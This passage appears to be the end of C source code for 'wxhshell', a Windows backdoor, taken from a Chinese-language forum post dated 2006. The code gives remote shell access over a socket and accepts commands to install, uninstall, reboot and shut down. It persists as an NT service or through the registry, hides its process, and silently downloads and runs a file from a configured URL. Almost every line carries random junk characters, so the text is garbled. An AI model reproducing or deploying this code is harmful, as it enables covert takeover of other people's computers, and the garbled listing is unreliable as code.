  } $"/UK3|d  
  else { B,4q>KQA  
yb69Q#V2  
    switch(cmd[0]) { IDj_l+?c  
  <'W=]IAV  
  // 帮助 T0;u+$  
  case '?': { kmIoJH5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w2k<)3 g~  
    break; oBb?"2~9  
  } B#1:Y;Z  
  // 安装 dl:-k  r8  
  case 'i': { Jth=.9mrM  
    if(Install()) 3u*82s\8T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ky *DfQA  
    else Rl1$?l6Rf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,`y yR:F  
    break; FtN}]@F  
    } "2%>M  
  // 卸载 !z?0 :Jg  
  case 'r': { ^/k ,  
    if(Uninstall()) {>/)5 AGs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 21 ViHV  
    else s_xV-C#q@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0D<TF>M;pn  
    break; Ey'J]KVW  
    } ~> PgJ ^G  
  // 显示 wxhshell 所在路径 `%oIRuYG]j  
  case 'p': { lu]o34  
    char svExeFile[MAX_PATH]; `YU=~xQ  
    strcpy(svExeFile,"\n\r"); A?DB#-z.r  
      strcat(svExeFile,ExeFile); "NKf0F  
        send(wsh,svExeFile,strlen(svExeFile),0); $6# lTYN~  
    break; o*-9J2V=J  
    } *!Y- !  
  // 重启 a&C.=  
  case 'b': { []"=]f{1};  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '#A:.P  
    if(Boot(REBOOT)) p'g^Wh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y+A{Y  
    else { gJh}CrU-  
    closesocket(wsh); H'Ln P>@n#  
    ExitThread(0); K^aj@2K{  
    } 9#Bx]wy  
    break; Ib6(Bp9.L  
    } L%XXf3;c  
  // 关机 -TTs.O8P|<  
  case 'd': { {OCJ(^8i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Yy hny[fa9  
    if(Boot(SHUTDOWN)) :Jk33 N4y0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'B`#:tX^N  
    else { g8l5.Mpx  
    closesocket(wsh); O#:&*Mv  
    ExitThread(0); LWD#a~  
    }  &{ZSE^  
    break; oNIFx5*Z  
    } i4<BDX5  
  // 获取shell ;Xu22f Kh  
  case 's': { \2 >?6zs  
    CmdShell(wsh); cIb4-TeV  
    closesocket(wsh); 4H-j .|e  
    ExitThread(0); ,9\Snn  
    break; _*E!gPO  
  } .YR8v1Cp  
  // 退出 )7Ixz1I9g  
  case 'x': { 5un^yRMB-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7$7n71o  
    CloseIt(wsh); 7"cv|6y|  
    break; ^A!$i$NON  
    } k':s =IXW  
  // 离开 2h q>T&8  
  case 'q': { ]Ik%#l.G_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \$pkk6Q3,w  
    closesocket(wsh); X#ZgS!Mn  
    WSACleanup(); L/i(KF{  
    exit(1); ($>XIb9f  
    break; vv+J0f^  
        } wkBL=a  
  } !` 26\@1  
  } _a5(s2wq+  
10O$'`  
  // 提示信息 aWGon]2p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $iPP|Rw  
} pM2a(\K,k^  
  } _kN*e:t  
$Q/Ya@o  
  return; Z0* %Rq  
} Uf$i3  
Cv^`&\[SW+  
// shell模块句柄 %Q~CB7ILK  
int CmdShell(SOCKET sock) !9 f4R/ ?  
{ E FY@Y[  
STARTUPINFO si; Lh ap4:  
ZeroMemory(&si,sizeof(si)); JE;+T[I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F,T~\gO5,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AIZBo@xg  
PROCESS_INFORMATION ProcessInfo; M_|> kp  
char cmdline[]="cmd"; &leK}je [  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +iA=y=;blH  
  return 0; ?WFh',`:  
} lddp^ #f  
`.v(fC  
// 自身启动模式 xs!p|  
int StartFromService(void) HOZRYIQB  
{ fn}UBzED\  
typedef struct Bs!4H2@{(]  
{ W?z#pV+jt  
  DWORD ExitStatus; |d}MxS`^  
  DWORD PebBaseAddress; X_ ?97iXjx  
  DWORD AffinityMask; #YK5WTn5  
  DWORD BasePriority; 2Z/K(J"&J  
  ULONG UniqueProcessId; shgAhx  
  ULONG InheritedFromUniqueProcessId; =6T 4>rP  
}   PROCESS_BASIC_INFORMATION; tju|UhP3  
-]S.<8<$  
PROCNTQSIP NtQueryInformationProcess; 7r 0,> 3"  
.}`hCt08  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A3{0q>CC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -<f;l _(  
t"AzI8O  
  HANDLE             hProcess; Z|* !y]We  
  PROCESS_BASIC_INFORMATION pbi; :c]`D>  
\2kPq>hu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;#k-)m%  
  if(NULL == hInst ) return 0; :`Az/U[  
5VE2@Fn}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K_/B?h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {nMAm/kyj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -1r2K  
eon!CE0  
  if (!NtQueryInformationProcess) return 0; "Ty/k8?  
buMq F-j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KL?)akk  
  if(!hProcess) return 0; 9NpD!A&64<  
E]} n(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; = +Xc4a  
xN"Z1n7t  
  CloseHandle(hProcess); { T]?o~W  
b1`r!B,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [_6&N.  
if(hProcess==NULL) return 0; $t =O:  
fI|[Z+"  
HMODULE hMod; H-5<S@8  
char procName[255]; Iy7pt~DJ,  
unsigned long cbNeeded; +cB&Mi5  
SU%DW4 6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XvGA|Ekf<  
%y`7);.q  
  CloseHandle(hProcess); IB5BO7J  
>'=MH2;  
if(strstr(procName,"services")) return 1; // 以服务启动 8;\sU?  
gn1(4 o  
  return 0; // 注册表启动 !u;>Wyd W  
} {G i h&N  
`NNf&y)y  
// 主模块 Iw=Sq8  
int StartWxhshell(LPSTR lpCmdLine) 7"v$- Wy  
{ edC 4BHE  
  SOCKET wsl; ]s1 YaNq  
BOOL val=TRUE; $1Nd_pD=  
  int port=0; Tupiq  
  struct sockaddr_in door; 4sF v?W  
Qvoqx>2p5  
  if(wscfg.ws_autoins) Install(); 5z/Er".P  
i%{X9!*%TX  
port=atoi(lpCmdLine); DPDe>3Mi[  
a}nbo4jK  
if(port<=0) port=wscfg.ws_port; ~Pf5ORoe  
8g/F)~s^F  
  WSADATA data; *,WP,-0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^y_fRP~  
CnF |LTi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pw020}`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X]*QUV]i  
  door.sin_family = AF_INET; }ZOFYu0f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K`KLC.j  
  door.sin_port = htons(port); %Z]'!X  
}=}>9DS M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P&A|PY,P  
closesocket(wsl); U]4pA#*{|  
return 1; 773/#c  
} Es5p}uh.[Y  
] Uc`J8p,  
  if(listen(wsl,2) == INVALID_SOCKET) { _%@=Uc6V  
closesocket(wsl); tykB.2f  
return 1; mj,fp2D;%  
} [w \?j,  
  Wxhshell(wsl); Kp iF0K  
  WSACleanup(); M^madx6`  
./-JbW  
return 0; 9ptFG]lZ  
!b|'Vp^U  
} Vy)hDa[&  
\k8rxW  
// 以NT服务方式启动 ~|+zJ5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X=X\F@V:u  
{ ;&;W T  
DWORD   status = 0; q 2? X"!  
  DWORD   specificError = 0xfffffff; V_^@  
n]!fO 6kj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~4,I7c7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L):qu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V`hu,Y;%  
  serviceStatus.dwWin32ExitCode     = 0; 2s ,8R  
  serviceStatus.dwServiceSpecificExitCode = 0; QP I+y8N=  
  serviceStatus.dwCheckPoint       = 0; 4jm K].  
  serviceStatus.dwWaitHint       = 0; SpTdj^]4>  
I?!rOU= 0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zf*r2t1&P  
  if (hServiceStatusHandle==0) return; yl]FP@N(  
*e"a0  
status = GetLastError(); F_;tT%ywfx  
  if (status!=NO_ERROR) !UBO_X%dz  
{ !E\[SjY@J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "kW!{n  
    serviceStatus.dwCheckPoint       = 0; 1qdZ c_x  
    serviceStatus.dwWaitHint       = 0; 0(>rG{u  
    serviceStatus.dwWin32ExitCode     = status; eo]#sf@\0  
    serviceStatus.dwServiceSpecificExitCode = specificError; g9h(sLSF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n(Y%Vmy  
    return; |?m` xO  
  } cSP*f0n,eo  
!3&kQpF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FpV`#6i7  
  serviceStatus.dwCheckPoint       = 0; +RZ~LA \+  
  serviceStatus.dwWaitHint       = 0; JHV)ZOO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B~WtZ-%%E  
} D}mL7d1  
H3/caN:  
// 处理NT服务事件,比如:启动、停止 H:&?ha,9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7G2PMe;$m  
{ Jcf"#u-Q/  
switch(fdwControl) yOXO)u1n  
{ B;zt#H4  
case SERVICE_CONTROL_STOP: C*Vd-U  
  serviceStatus.dwWin32ExitCode = 0; h,t|V}Wb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,i}|5ozj4  
  serviceStatus.dwCheckPoint   = 0; Va<H U:<  
  serviceStatus.dwWaitHint     = 0; {Q (}DI  
  { Ws[D{dS/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cA`4:gp  
  } $< %B#axL  
  return;  .jg0a  
case SERVICE_CONTROL_PAUSE: ?H|T& 66  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1TJ0D_,  
  break; mO rWJ~=  
case SERVICE_CONTROL_CONTINUE: uGtV}-t:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fZryG  
  break; qk{'!Ii  
case SERVICE_CONTROL_INTERROGATE: 5>0.NiXGf'  
  break; Un=a fX?j  
}; 1JS2SxF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w<wV]F*  
} ; 2`sN   
dbGgD=}o  
// 标准应用程序主函数 ?bX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y.a]r7  
{ 8v_C5d\  
:- +4:S  
// 获取操作系统版本 ROAI9sW0  
OsIsNt=GetOsVer(); bY8GA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .(Y6$[#@  
19u =W(  
  // 从命令行安装 i?}>.$j  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4YA./j%'  
0{rx.C7|  
  // 下载执行文件 )/t6" "  
if(wscfg.ws_downexe) {  @|A|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }0/a\  
  WinExec(wscfg.ws_filenam,SW_HIDE); HCnf2td  
} aq>?vti1D  
d,#.E@Po  
if(!OsIsNt) { 8n)WW$  
// 如果时win9x,隐藏进程并且设置为注册表启动 wT_^'i*@I  
HideProc(); /'&;Q7!)  
StartWxhshell(lpCmdLine); hl/itSl$  
} 3(_!`0#F%  
else ';YgG<u  
  if(StartFromService()) EQ >t[ &  
  // 以服务方式启动 Eu<r$6Q0}o  
  StartServiceCtrlDispatcher(DispatchTable); pdz'!I  
else J\`^:tcG  
  // 普通方式启动 sg?@qc=g  
  StartWxhshell(lpCmdLine); }[=YU%[o:  
 W'/>et  
return 0; \9m*(_Qf  
}
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只看该作者 1 发表于: 2006-10-10
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